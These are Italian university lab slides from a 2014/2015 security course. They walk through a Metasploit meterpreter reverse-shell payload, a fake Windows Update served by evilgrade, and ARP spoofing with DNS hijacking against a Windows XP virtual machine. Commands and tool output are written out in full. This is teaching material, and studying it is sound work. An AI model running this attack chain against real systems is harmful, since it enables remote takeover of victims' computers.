Pattern Recognition and Applications Lab Rootkit Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza Informatica 2014/2015 Department of Electrical and Electronic Engineering University of Cagliari, Italy
Prerequisiti Virtual machine attaccante - kali linux vittima - windows XP 32bit Entrambe le macchine sulla stessa rete locale su virtualbox - rete con NAT 2
Identificazione della vittima root@kali:~# nmap -ss 10.0.2.0/24 -p56322 Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-20 16:44 CEST Nmap scan report for 10.0.2.1 Host is up (0.00021s latency). PORT STATE SERVICE 56322/tcp closed unknown MAC Address: 52:54:00:12:35:00 (QEMU Virtual NIC) Nmap scan report for 10.0.2.2 Host is up (0.00012s latency). PORT STATE SERVICE 56322/tcp closed unknown MAC Address: 52:54:00:12:35:00 (QEMU Virtual NIC) Nmap scan report for 10.0.2.4 Host is up (0.00023s latency). PORT STATE SERVICE 56322/tcp filtered unknown MAC Address: 08:00:27:C9:73:F6 (Cadmus Computer Systems) Nostro Target (Vittima) Nmap done: 256 IP addresses (5 hosts up) scanned in 2.20 seconds 3
Nostro indirizzo e gateway root@kali:~# ifconfig eth0 Link encap:ethernet HWaddr 08:00:27:ba:17:b4 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:feba:17b4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5752 errors:0 dropped:0 overruns:0 frame:0 TX packets:6213 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:4600812 (4.3 MiB) TX bytes:2554976 (2.4 MiB) lo Link encap:local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:84 errors:0 dropped:0 overruns:0 frame:0 TX packets:84 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:11523 (11.2 KiB) TX bytes:11523 (11.2 KiB) Nostro IP (Attaccante) root@kali:~# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default 10.0.2.1 0.0.0.0 UG 0 0 0 eth0 10.0.2.0 * 255.255.255.0 U 0 0 0 eth0 Gateway 4
Realizzazione dell exploit Costruiamo il file eseguibile per realizzare l exploit tramite meterpreter una volta eseguito sul computer vittima, esso si connetterà verso il nostro host all indirizzo IP: 10.0.2.15, alla porta TCP 3333 root@kali:~# msfpayload windows/meterpreter/reverse_tcp lhost=10.0.2.15 lport=3333 X > /root/exploit.exe [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 281 Options: {"LHOST"=>"10.0.2.15", "LPORT"=>"3333"} root@kali:~# file /root/exploit.exe /root/exploit.exe: PE32 executable (GUI) Intel 80386, for MS Windows Ci mettiamo in ascolto sulla porta TCP 3333 in attesa di connessione da parte della vittima per ottenere una shell remota root@kali:~# msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 10.0.2.15 lhost => 10.0.2.15 msf exploit(handler) > set lport 3333 lport => 3333 msf exploit(handler) > run [*] Started reverse handler on 10.0.2.15:3333 [*] Starting the payload handler... 5
Social Engineering- windows update Dobbiamo trovare un modo per far eseguire il file /root/exploit.exe sul computer vittima mettiamo su un sito fasullo per windows update! root@kali:~# evilgrade evilgrade>show modules evilgrade>configure winupdate evilgrade(winupdate)>show options Display options: =============== Name = Windows Update Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"] Description = "" VirtualHost = "(windowsupdate.microsoft.com update.microsoft.com www.microsoft.com go.microsoft.com)".---------------------------------------------------------------------------------------------------------------------------. Name Default Description +----------+--------------------------------------+-------------------------------------------------------------------------+ enable 1 Status familyid ad724ae0-e72d-4f54-9ab3-75b8eb148356 It's the microsoft familyid from download center default (Removal tool) agent./agent/agent.exe Agent to inject '----------+--------------------------------------+-------------------------------------------------------------------------' evilgrade(winupdate)>set agent /root/exploit.exe set agent, /root/exploit.exe evilgrade(winupdate)>start evilgrade(winupdate)> [21/4/2015:10:30:28] - [DNSSERVER] - DNS Server Ready. Waiting for Connections... Evilgrade mette su un sito web fasullo di windows update che restituirà il file exploit.exe (rinominandolo) lo spaccerà per un aggiornamento importante per windows. 6
ARP Spoofing Ci siamo quasi ora dobbiamo fare in modo che qualsiasi connessione verso nomi di dominio *.microsoft.com da parte della vittima venga dirottate verso il nostro indirizzo IP 10.0.2.15, dove sta in ascolto il servizio windows update fasullo messo su da evilgrade l host vittima e sulla nostra stessa rete locale posso usare arp spoofing e DNS hijacking (vedi lezione su sicurezza utenti web)! Inoltro pacchetti automatico: root@kali:~# sysctl -w net.ipv4.ip_forward=1 net.ipv4.ip_forward = 1 root@kali:~# iptables -I FORWARD 1 -j ACCEPT arp spoofing (aprite una shell separata per ciascun comando) root@kali:~# arpspoof -i eth0 -t 10.0.2.1 10.0.2.4 root@kali:~# arpspoof -i eth0 -t 10.0.2.4 10.0.2.1 DNS hijacking (su un altra shell ancora) root@kali:~# echo *.microsoft.com 10.0.2.15 > ftable root@kali:~# dnsspoof -i eth0 -f ftable 7
Host Vittima - esecuzione update Nel nostro test usiamo un computer con windows XP (32bit) e Internet Explorer 8 8